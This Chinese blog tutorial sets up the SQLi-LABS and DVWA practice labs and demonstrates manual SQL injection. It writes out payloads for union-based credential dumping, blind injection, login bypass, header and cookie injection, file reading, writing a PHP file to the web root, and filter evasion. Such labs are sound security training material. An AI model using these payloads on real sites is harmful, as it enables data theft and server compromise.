SQL手工注入原理(含環境搭建) ─=≡Σ(((つ•̀ω•́)つ 知己知彼百戰百勝 >web安全

SQL測試環境環境搭建

下載與安裝環境

SQLi-LABS是GitHub上2014年的開源項目(如果不想部署本地環境可以搜索在線環境使用),但當時PHP7並未發佈,所以原版SQLi-LABS並不支持PHP7,而GitHub上有個SQLi-LABS改進項目Sqli_Edited_Version,支持了PHP7 SQLi-LABS、phpstudy、DVWA百度網盤下載地址,提取碼:hz52
DVWA(Damn Vulnerable Web App 該死的易受攻擊的網絡應用)同樣也是一個SQL注入環境,和sqli-labs部署類似
phpstudy是一個集成環境,可以快速部署我們所需要得MySQL與Apache環境(如果你已經有MySQL+Apache+PHP環境可跳過此部)

開啓與使用環境

  • 安裝並打開phpstudy,我用的是phpstudy8.1(MySQL8+PHP7+Apache2.4)+Sqli_Edited_Version
  • 啓動Apache與MySQL,確認網站狀態正常,並進入網址域名測試,如下圖
    在這裏插入圖片描述
    在這裏插入圖片描述

sqli-labs環境部署

  • 找到phpstudy安裝目錄並打開目錄中的www文件夾
    在這裏插入圖片描述
  • 將Sqli_Edited_Version(sqli-labs操作相同)解壓在此,然後改一個自己好記的名字
    在這裏插入圖片描述
  • 打開瀏覽器輸入localhost/文件夾名
    在這裏插入圖片描述
  • 打開sqli-labs文件夾中的\sql-connections文件夾下的db-creds.inc文件,並將其中的用戶名密碼改爲數據庫的用戶名密碼(數據庫默認用戶名與密碼都爲root)
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";

?>

在這裏插入圖片描述

  • 點擊sqli-labs中的Setup/reset Database for labs如右圖所示即爲部署成功
    在這裏插入圖片描述
  • 在sqli-labs的less-1中我們可以測試一下部署是否成功,在Less-1後跟隨id=1的參數成功返回,代表環境以及可以使用
    在這裏插入圖片描述
    sqli-labs小彩蛋(Dhakkan的意思是愚蠢的人,所以我們可以把Welcome Dhakkan理解爲歡迎小傻蛋)

dvwa環境部署

  • 同樣是把dvwa壓縮文件解壓到www文件夾下
    在這裏插入圖片描述
  • 打開DVWA文件夾下的config文件夾,找到config.inc.php.dist文件,並複製一個副本出來,並重命名爲config.inc.php
    在這裏插入圖片描述
  • 打開config.inc.php填寫MySQL的用戶名與密碼
    在這裏插入圖片描述
  • 打開 localhost/dvwa網址啓動dvwa
    在這裏插入圖片描述
  • 之後提示登錄默認用戶名爲admin,密碼爲password
    在這裏插入圖片描述
  • 下圖爲登錄成功樣式在這裏插入圖片描述

SQL手動注入

這裏需要對數據庫有一定了解,至少需要知道SQL語句的基礎使用方法,如果當前你並不會使用SQL語句可以查看我寫的數據庫博客數據庫的增刪改查數據定義語言,對數據庫以及SQL有初入瞭解後,上手SQL手動注入會變得得心應手,否則其中很多SQL語句將可能讓你覺得難以理解!!!

SQL注入原理

SQL注入就是指web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數代入數據庫查詢,攻擊者可以通過構造不同的SQL語句來實現對數據庫任意操作,這種做法會帶來一下危害

  1. 數據庫敏感信息泄露
  2. 數據被竄改,導致頁面顯示異常
  3. 數據庫被惡意操作
  4. 服務器被遠程控制

SQL注入漏洞的產生需要滿足兩個條件

  • 參數用戶可控
  • 參數帶入數據庫查詢,傳入的參數拼接到SQL語句,並且帶入數據庫查詢

SQL注入分類

  • 根據注入位置數據類型可將SQL注入分爲兩類:數字型和字符串型
    • 字符串注入
    • 數字注入
  • 根據返回結果可以分爲
    • 顯錯注入(error-based)
    • 盲注(boolean/time-based blind)

SQL注入手段

注入:顧名思義,需要想數據庫中輸入內容才能算是注入,如果是靜態頁面,不和服務器以及數據庫交互,那麼我們將無法注入,和服務器交互主要有get與post兩種方式,可以簡單的將get請求理解爲通過url顯示發送數據請求,post這是給服務器隱式發送數據

尋找注點

注點簡單理解就是找到可以和數據庫交互的地方,get使用URL與數據庫交互,那麼注入點一定就在URL中,而大部分參數是跟隨在url中問號後?
首先我們進入sqli-labs第一頁的less1,發現提示Please input the ID as parameter with numeric value
在這裏插入圖片描述
根據提示,我們輸入一個參數?id=1跟在URL後(正常網站不可能出現這種提示,需要我們手動去嘗試傳入參數查看)
在這裏插入圖片描述
此時網頁中輸入了一些從數據庫中獲取的信息,id=1現在有很大機率是跟數據庫交互了,那麼這就是一個注入點,接下來我們要嘗試一些特殊的字符,讓他能顯示出我們想要的錯誤結果!
我們可以嘗試id的值爲一些特殊的符號(常用但不限於單引號'雙引號"括號)反斜線/等)
我們嘗試輸入id=1'後發現了報錯

在這裏插入圖片描述
這行報錯信息中最有用的就是: ''1''LIMIT 0,1' 這裏面單引號具體配對如下圖所示
在這裏插入圖片描述
這個錯誤的原因可以看出是因爲我們輸入的1',爲什麼我們輸入了一個單引號'會使其報錯,其實原因和簡單,單雙引號,各種括號,他們都是組隊出現,而我們的輸入導致SQL語句中多了一個單引號',使得其沒有成對出現,導致錯誤。而這種錯誤真是我們需要利用的漏洞!!!
使用數據庫可視化工具分析SQL注入
注:使用數據庫可視化工具只是爲了更好的展示SQL注入過程及其原理,在真實情況下是無法獲取到web應用數據庫的賬戶密碼
通過可視化工具可以發現當前網頁使用的數據庫中的表名爲uesrs(這個表名在真是情況下也是無法直接看到的,需要通過注入獲取,這裏我是用來展示注入原理,所以事先說明了表名)
在這裏插入圖片描述
這時候我們嘗試使用SQL語句復現在URL中輸入id=1id=1'的情況SQL語句分別是select * from users where id='1' limit 0,1select * from users where id='1'' limit 0,1; 現在就可以理解爲什麼輸入'會報錯了吧,但數據庫語句不一定都是使用單引號閉合',也有使用雙引號,括號,甚至引號+括號的形式,這裏大家可以去sqli的二三四題看看,第二題就是使用雙引號"閉合。
在這裏插入圖片描述
如果當你有一定注入經驗後,無需可視化工具也可理解SQL注入過程,再次聲明上述可視化工具僅是爲了展示注入原理使用,實際注入中用不到,也無法使用。

利用注點

  1. 方法1 : 利用註釋進行閉合
    當前我們知道,我們在url中id傳入的值,會被加入到SQL語句中如下圖所示的位置中
    在這裏插入圖片描述
    那我們可以使用SQL語句中的註釋--這個特性來提前閉合SQL語句,然後在之後就可以任意執行我們想要的SQL語句如下圖,xxx的位置就可以執行我們需要的任意的SQL語句URL傳入的參數就可以爲id=1' xxx --+
    在這裏插入圖片描述
    小科普:--(中劃線,中劃線,空格)爲SQL語句的註釋,而+在url中會被當成空格,#井號通用也是SQL的註釋符。SQL還有/*註釋內容*/這種多行註釋

  2. 方法二 : 使引號成對
    這種請求因爲無法讓limit 0,1被註釋,所以我們需要讓id等於一個不存在的值,這樣纔會輸出我們想要的內容,否則就使id值輸出
    在這裏插入圖片描述
    注入方式多種多樣,具體使用哪種方式,需要根據實際需求自行而定。

get注入

get顯錯注入

常用注入順序

  1. order by判斷字段數(order by用於給數據庫排序)order by 可以按名稱指定排序內容,同時也可以按順序指定,比如我們想指定第二列排序就可以輸入order by 2,如果指定列數不存在,則會報錯,我們可以利用此方法來獲取此表中包含幾列
    在這裏插入圖片描述
  2. 利用union select聯合查詢,獲取表名
  3. 利用union select聯合查詢,獲取字段名
  4. 利用union select聯合查詢,獲取字段值# SQLmap使用方法

使用order by判斷字段數

我們在url中傳入參數id=1' order by 1 --+,相當於數據庫執行了 select * from users where id='1'order by 1-- ' limit 0,1; ,當我們嘗試到order by 4時開始報錯,這時候我們就可以知道此表中有3列數據。
在這裏插入圖片描述

使用union select聯合查詢

使用聯合查詢我們先要了解select的一個特性,select 數字,數字...可以快速生成一個只有一行的表,select後還能跟一些函數進行進行輸入比如說select version(),user(),database(),connection_id() .

SQL注入常用函數 含義
version() 查看數據庫版本信息
database() 返回當前數據庫名
user() 返回當前用戶
connection_id() 返回服務器的連接數

union可以連接兩個擁有相同列數的表(這是我們最好讓id輸入一個空表來更好的顯示union的效果)傳入參數id=0' union select 1,2,3 --+相當於select * from users where id='0'union select 1,2,3-- ' limit 0,1;後2,3會顯示輸出,我們可以利用第2個字段和第3個字段來進行注入
在這裏插入圖片描述
獲取當前用戶與當前使用的庫在注入點輸入獲取用戶名以及庫方法即可user(),database()傳入的參數爲:id=0' union select 1,user(),database() --+相當於SQL語句爲: SELECT * FROM users WHERE id='0' union select 1,user(),database() -- ' LIMIT 0,1;
在這裏插入圖片描述
獲取當前數據庫中的表名這時候我們需要藉助MySQL數據庫中系統庫,已知系統庫information_schema中的tables表的table_name字段存放這所有庫中的表名(在MySQL5.0之後版本纔有系統庫information_schema)此表中包含所以庫中的所有表
在這裏插入圖片描述
我們想要查看這張表需要用到group_concat(…)來完成操作
group_concat(…)用法
使用group_concat來獲取正在使用的庫中有哪些表傳入的參數爲:
id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+
相當於在數據庫中執行SQL爲:
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() -- ' LIMIT 0,1
在這裏插入圖片描述
獲取當前表中的字段名獲取字段方法和獲取表名相似,字段存在系統庫information_schema中的COLUMNS表中的COLUMN_NAME字段傳入參數:
id=0' union select 1,DATABASE(),group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users' --+
相當於SQL語句:
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users' -- ' LIMIT 0,1
在這裏插入圖片描述
獲取字段值獲取字段值就無需使用系統表,直接利用group_concat()即可獲取,如可以傳參爲:
id=0' union select 1,group_concat(username),group_concat(password) from users--+
相當於SQL語句:
SELECT * FROM users WHERE id='0' union select 1,group_concat(username),group_concat(password) from users -- ' LIMIT 0,1
在這裏插入圖片描述

get盲注

get顯錯注入前提是頁面中會顯示數據庫中的數據,我們去獲取的數據在頁面中直接可以看到,但如果頁面中只顯示常規錯誤,並不顯示數據,這時候我們就需要用到盲注,盲注可以分爲布爾型盲注與基於時間的注入(boolean/time-based blind)
盲注我們需要用到SQL中幾個常用的函數,

SQL函數 作用
if(判斷條件,真值時返回,假值時返回) if判斷
length() 字符串長度
ascii() 將字母數字等編碼成ASCII碼
substr(截取字符,開始截取位置,截取長度) 截取指定字符 (截取位置從1開始計算)
database() 獲取數據庫名
sleep() 睡眠時間

基於時間的盲注

測試是否存在注點
這裏我就用第五題less-5做測試,我們可以傳入參數id=1' and sleep(3) --+來看服務器是否會執行睡眠,這個參數相當於在數據庫中執行了select * from users where id='1' and sleep(3) -- ' LIMIT 0,1這句SQL,通過觀察延遲時間來判斷是否存在注入點。
在這裏插入圖片描述
判斷數據庫名
使用if()配合length()來判斷長度,在使用if()配合ASCII()與substr()來判斷具體名稱,當前數據庫名爲security
判斷數據庫名長度
判斷長度需要用到if()、length()、database()、sleep()函數
id=1' and if(length(database())<10,1,sleep(3)) --+先判斷一下,注:如果數據名(database)的長度(length)小於10,則if(length(database())<10,1,sleep(3))返回1,相當於真值,如果長度大於10則爲假,會睡3秒,我們可以不斷調整數字更換大於小於號,最後判斷一個小範圍後用=來確定具體長度。
id=1' and if(length(database())=8,1,sleep(3)) --+最後傳入這個參數後,我們確定了長度爲8。這個參數傳入相當於在數據庫中執行了select * from users where id='1' and if(length(database())<10,1,sleep(3)) -- ' LIMIT 0,1
逐個字符判斷數據庫名
判斷具體名稱需要用到if()、ASCII()、substr()、database()、sleep()函數
select if(ASCII(substr(database(),1,1))=115,1,sleep(3))比如這句SQL就判斷數據庫中第一個字符是否爲ASCII碼的115(小寫字母d),如果是則返回1,不是這睡眠三秒,所以我們可以傳入參數id=1' and if(ASCII(substr(database(),1,1))=115,1,sleep(3)) --+但根據時間去測試數據庫名,耗時較長,所以儘量通過布爾去測試

基於布爾的盲注

這裏我們拿第八題做測試。基於布爾的盲注,同樣我們需要先來查看是否存在駐點,同樣在URL中使用id=1'發現可能的注點,傳入id=1' or '1'='1肯定了注點的存在。
判斷數據庫名
布爾型盲注判斷數據庫名相較於時間型更加高效迅速。布爾型需要我們觀察網頁是否能顯示正常,正常情況下,網站會顯示You are in…。如果是真值,則會顯示,假值則不會顯示。
比如id=1' and '1'='0不會顯示,id=1' and '1'='1會顯示。布爾盲注這是利用此特性進行判斷。
在這裏插入圖片描述
我們可以利用and的特性,首先我們知道id=1爲真值,and後可以更一個值,and後面可以跟隨一個子查詢,子查詢需要用括號包裹(),具體使用方法可看SQL查詢語句子查詢用法。SQL中1爲真值、0爲假值
判斷數據庫名長度
還是利用length配合database來判斷數據庫名長度。
比如select length(database())>5來判斷數據庫名長度是否大於5 id=1' and (length(database())>5) --+,如果顯示正常則爲庫名大於5,之後不斷嘗試直到確定庫名長度
逐個字符判斷數據名
然後利用ascii()、substr()、database()這三個方法判斷具體的數據庫名。
比如說select ascii(substr(database(),1,1))>110此子語句判斷庫名中第一個字符的ascii是否大於110具體傳參爲:id=1' and (select ascii(substr(database(),1,1))>110) --+

POST注入

POST顯錯注入

注意坑: post請求後面跟隨的註釋--後需要加一個空格!但是因爲csdn我寫SQL語句用的代碼模塊開始和結尾不能有空格。所以下面我所有註釋都少跟一個空格!!!
post注入整體和get注入相似,最大的區別是輸入地方變量,post並不像get一樣在URL中直接輸入即可,post注入我們需要先找到可以供我們注入的輸入框。
在這裏插入圖片描述
我們在name內輸入admin\嘗試發現如下報錯
在這裏插入圖片描述
在這裏插入圖片描述
首先分析報錯,根據報錯可以明顯看出此語句也是使用單引號'作爲閉合條件,接下來就找着我們get那樣嘗試注入,如果你比較熟悉數據庫,可以大致猜測出在數據庫中執行的SQL語句爲select * FROM users WHERE username='admin' and password='admin' LIMIT 0,1
登錄的原理可以簡單的理解爲去數據庫中確認用戶是否存在,如何確定,這就要去對比用戶輸入的用戶名與密碼是否一致,一致返回用戶爲真,允許登錄,不一致則返回爲假,不允許登錄。
這時候我們只需要想辦法輸入無論如何輸入都會返回真值的語句,即可登錄成功。
比如任意值' or 1=1 -- or判斷只要出現一個真值,則爲真,1=1肯定爲真,所以整體語句就爲真。
在這裏插入圖片描述
這時候我們就會直接登錄。
使用控制檯進行post注入
我們可以直接尋找輸入框進行注入,但有時候前端會對輸入框進行合法性判斷,這時候我們可以直接去控制檯中直接修改參數打到注入效果,但需要注意的是我們看到參數中的一些特殊符號進行了URL編碼的,(作爲空格替代符的+號無需編碼,但常規+號需要編碼),比如說+' or 1=1 --這句話的url編碼爲%2b%27+or+1%3d1+--+,網上有很多在線URL編解碼工具網站,比如說站長工具URL編解碼但是,注意這有個坑我們自己在控制檯中修改請求的時候是無需編碼的!!火狐會自動幫我們編碼。
在這裏插入圖片描述
這裏我們也可以用get那一套,來找數據庫名已經數據庫內容
使用真值,可以讓我們直接登陸,使用假值,這可以讓我們想get的顯錯注入那樣獲取數據庫中的內容。
使用可以使用order by來判斷字段數,然後使用union聯合查詢語句來查詢內容
如: ' and 0=1 order by 3 --我輸入這句話就會報錯,而order by 2 就沒有報錯,則說明數據庫使用的表中只有兩個字段,然後我們在使用聯合查詢union ' and 0=1 union select user(),database() -- 配合一些函數來獲取數據庫用戶信息和表名等。
在這裏插入圖片描述

POST盲注

和get相同,post盲注同樣分爲基於時間的和布爾型盲注(盲注使用less15進行測試)

基於時間的post盲注

和get類型,我們要用到的還是if()length()database()sleep(),這幾個函數。主要用到and進行判斷。
嘗試輸入' and (select if(length(database())>1,sleep(2),NULL)) -- 這時候發現瀏覽器需要等待,以此類推找到數據庫名長度爲多少。然後在使用ascii()subste()來判斷具體名稱即可如' and (select if(ascii(substr(database(),1,1))>100,sleep(5),NULL)) --

基於布爾的post盲注

同樣也與get的布爾盲注類似。主要用到or進行判斷。
我們需要利用類似+' or 1=1 --這個語句來完成布爾盲注,如果是真值,將1=1替換爲我們需要進行布爾判斷的語句。如果判斷爲真,則登陸成功,反之亦然。
比如

  1. ' or (select length(database())<10) -- 判斷長度
  2. ' or (select ascii(substr(database(),1,1))>100) -- 判斷具體字符。

HTTP頭注入

顧名思義,從HTTP請求頭中嘗試注入,一些網站驗證HTTP請求頭中的一些參數來判斷是否爲正式用戶而不是爬蟲,而大多數判斷都是會和數據庫有一定交互,這給我們注入就又帶來了可乘之機。HTTP頭注入需要用到控制檯,或者使用一些抓包工具比如說Burp Suite。之後我也會寫一些抓包工具的用法,在這裏就先不演示了

User-Agent注入

User-Agent用於記錄我們瀏覽器和系統的一些信息,讓服務器知道是什麼系統在用什麼瀏覽器訪問他,做過爬蟲的應該會對此屬性很熟悉,因爲服務器會根據此屬性來判斷來訪者是否爲真人。所以在一些反扒的網站中,此屬性是會和數據庫有一定的交互。
我們使用第十八題去測試,初看18題我們發現他會回顯我們的ip,然後經過多次登錄,發現在登錄成功的時候他還會回顯我們http頭中的User-Agent屬性,所以我們可以判斷爲這個題爲需要登錄後纔會存在注點(實際中也是有一些登錄成功纔會出現的注點,如果是常規面向用戶的網站,那麼我們就可以先註冊登錄,在注入)。我們使用默認用戶名以及密碼(admin)
在這裏插入圖片描述
還是老樣子先找注點。攜帶正確的用戶密碼用post請求在 User-Agent 處進行注點的測試
在這裏插入圖片描述
發現報錯,我們的注點出現了
在這裏插入圖片描述
經過多次測試,發現使用單引號'和反斜線\輸出的報錯信息相同,都爲::1', 'admin')
在這裏插入圖片描述
常規SQL查詢語句select 列,…… from 表名;
常規SQL插入語句insert [into] 表名 values(...);
從猜測出來的SQL語句中,我們發現,這個SQL語句可能並不是一個查詢語句,而是一個插入語
句。
插入語句並不能想查詢語句那麼容易的查詢到數據庫內的信息,這時候我們就需要藉助updatexml(文檔內容,XPath,替換內容)這個函數。這是一個利用xpath規則進行內容替換的函數,其中我們需要利用到的也是最重要的地方就是XPath規則,這個規則會調用數據庫查詢,但如果是正常的查詢,則會進行內容替換,我們無法獲取內容,這時候就需要他報錯,他會將報錯內容輸出。而這個報錯內容正好是我們可以操控的,如果這個報錯內容是一句SQL語句那麼就可以輸入我們需要的內容。
那麼如何使得updatexml()報錯呢,我們可以使用拼接函數concat(),拼接一些updatexml()不支持的特殊符號進去。
注:特殊符號需要十六進制的ASCII格式,否則回報SQL語法錯誤。常用的有0x7e對應~、0x7c對應的|其餘也可以去ASCII網站查詢。
比如說,我在數據庫中執行這句SQLselect updatexml(1,concat(0x7e,(select VERSION()),0x7e),1)
在這裏插入圖片描述
那麼將這句話改寫到請求頭中' and updatexml(1,concat(0x7e,(select version()),0x7e),1) or '1' = '1這裏使用註釋--後的空格會被過濾,所以採用另一種閉合方式。
在這裏插入圖片描述
select version()可以替換爲任意的需要執行的代碼。比如說可以使用database()來查詢庫名,user()查詢用戶名等。

Referer注入

Referer用於記錄用戶來自哪個頁面(是從哪個頁面點擊進入當前頁面的),同樣也是一種驗證是否爲真人的手段,所以也可能會數據庫有這交互
上述的User-Agent注入相當於是一種顯錯注入,除了顯錯注入,我們還可以使用盲注來解決問題,HTTP的盲注和get,post的盲注類似,這裏使用第十九題less19進行HTTP頭中的Referer屬性的盲注,比如說' or if(1=1,sleep(5),null) or '1'='1更多的盲注方式在get盲注中已經演示,在這裏就不多做贅述.
在這裏插入圖片描述

cookie注入

相較於Referer與User-Agent參數,cookie纔是最可能和數據庫發生交互的數據。cookie用於保存用戶的數據(相當於用戶身份證,有此證明,可以無需登錄即可進入個人頁面)
我們來使用第二十題less20進行cookie的演示。
當我們成功登錄之後就能獲取到cookie值,這時候如果獲取到多個cookie可以將每個cookie值都單獨測試一下,服務器具體使用的是哪個cookie還是都會使用,需要注意的是,注點一定是在cookie中的分號前,若沒有分號則是句尾,使用\測試發現報錯'admin\' LIMIT 0,1,然後使用' oe 1=1 --+測試發現無報錯信息,所以發現存在單引號注點。
在這裏插入圖片描述
找到注點後,可以先測試先錯注入' union (select 1,1,database()) --+,根據返回值發現並不能進行顯錯注入,在測試盲注' or if(1=1,sleep(5),null) --+發現也同樣失敗,這時候我們在測試一下xpath顯錯注入,這次成功獲取到了我們需要的數據
在這裏插入圖片描述

利用SQL注入讀寫文件

利用SQL在數據庫中讀寫數據雖然限制較多,不過一旦成功,收益也是相當大。比如我們可以獲取數據庫中我們想要的內容,或者將木馬植入數據庫中,甚至能做到讓我們自己的電腦可以免密登陸數據庫。個人感覺數據庫讀寫文件稍微有些雞肋,因爲這個功能在數據庫默認是關閉的,而且無法利用SQL注入去打開這兩個功能,必須要數據庫管理人員事先開啓我們才能利用。

讀取文件(load_file)

讀取條件

  1. 用戶權限足夠高,儘量具有root權限
  2. secure_file_priv不爲null

讀取文件需要用到secure_file_priv,這是一個空值安全讀取文件的屬性,當屬性值爲空時,我們可以讀取任意文件,當屬性值爲null時,我們無法讀取文件.他指定文件夾時我們就只能對指定文件夾讀取數據。所以secure_file_priv爲空對我們最有利。(可以使用show variables like '%secure%'SQL語句來查看他當前的狀況。(這句SQL同樣無法用在SQL注入時,當前這句話的目的是去測試環境中查看是否開啓了此功能)
設置secure_file_priv的方法,如果是使用phpstudy安裝的mysql,可以在如下圖所示的目錄中找到my.ini進行配置,如果自行配置的MySQL,則自行找到安裝目錄下的my.ini文件打開後在[mysqld]下方輸入secure_file_priv=即可。
在這裏插入圖片描述
這裏我就拿第一題測試。讀取文件需要用到load_file(絕對路徑)
例:id=-1' union select 1,load_file('L:\\123.txt'),2 --+
需要注意的是load_file()方法中必須跟隨絕對路徑!讀取路徑中和文件名最好出現中文字符

在這裏插入圖片描述

寫入文件(into outfile)

寫入文件的原理其實是利用數據庫的general_log數據庫日誌功能(將所有到達MySQL Server的SQL語句記錄下來,常用於數據庫的優化),這項功能默認也是關閉的,而且大多數服務器並不會去開啓。所以也需要我們手動去開啓這個功能。
現在數據庫中使用show variables like '%general%';查看此功能是否開啓(這句話無法用在SQL注入時)如果沒有開啓,就在數據庫中執行set global general_log = on;開啓功能。
在這裏插入圖片描述
這是使用第七題來做實驗,寫入文件需要用到,寫入文件需要用到into outfile函數。
第七題的閉合是一個坑,使用單引號發現SQL錯誤,但如果是括號則正常。 == 注意坑,第七題的閉合並不是單括號),這裏實際上的閉合方法是’)) == 出現這樣的原因是因爲我們的註釋被引號包含其中,沒有發揮出註釋的作用導致的'id=1) --+' 在第七題中轉化成的SQL語句相當於SELECT * FROMuserswhere id=(('1 ) -- ')) 其中的) --被當成了字符串,並沒有發揮出我們想要的功能。解決這個問題的方法就是我們課嘗試在註釋後在添加一個單引號和雙引號看會不會報錯'",如果發生報錯,則證明我們的註釋就沒有起到效果。
然後我們可以利用聯合查詢語句.通過into outfile來進行注入id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile 'D:\\test\\phpstudy_pro\\WWW\\newsqli\\Less-7\\text.php' --+
<?php phpinfo(); ?> : 這是一句PHP語句,這句話可以查詢數據庫中很多信息,之所以用這個是因爲這個測試環境是使用PHP搭建,也可以用其他的PHP語句注入數據庫查詢信息。
當我們成功將文件注入到指定位置後,我們就可以訪問相關的網址獲取內容
在這裏插入圖片描述

繞過SQL注入驗證判斷方法

爲了防止SQL注入,一般在服務器上都會設立很多SQL注入檢查手段,但也有不少方法可以繞過檢查。

  1. 大小寫混寫:SQL語句對大小寫不敏感,所以我們可以嘗試使用大小寫混寫,比如select可以寫成SeLeCt,同樣在數據庫中可以執行。
  2. 雙寫語句:數據庫一般檢查到一些特定的SQL語句會進行過濾,比如服務器過濾所以or,那麼我們可以將or寫成oorr,這時候如果過濾掉一個or,剩下完整的or。
  3. 同義詞、編碼繞過:可以使用一些效果相同的符號,比如說or||,and&&。可以將一些字符轉換成二進制碼發送,比如說||可以換成URL碼%7c%7cURL轉碼工具url編碼。還可以嘗試轉換爲十六進制碼。十六進制轉碼工具
  4. 內聯註釋:SQL支持多種註釋方式。除了--#這樣的單行註釋,還有多行註釋/*註釋內容*/,多行註釋有一個特性,就是在註釋內容中的!後的註釋內容會失效,成爲內聯註釋,比如/*!註釋內容*/
    在這裏插入圖片描述
  5. base64編碼:有些網站會將數據進行base64編碼(base64並不是一種加密方式,只是一種編碼方式)base64在線編解碼網站。sqli的22題就是需要利用base64編解碼進行注入。使用的是cookie中進行了base64編碼,這時候我們就需要把注入的語句也進行base64編碼後在輸入。
    在這裏插入圖片描述
    手工注入較爲繁瑣,不過當前有自動注入工具sqlmap,我近期就會寫sqlmap使用方面的博客,如果喜歡此博客請點個贊關注一下我吧。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章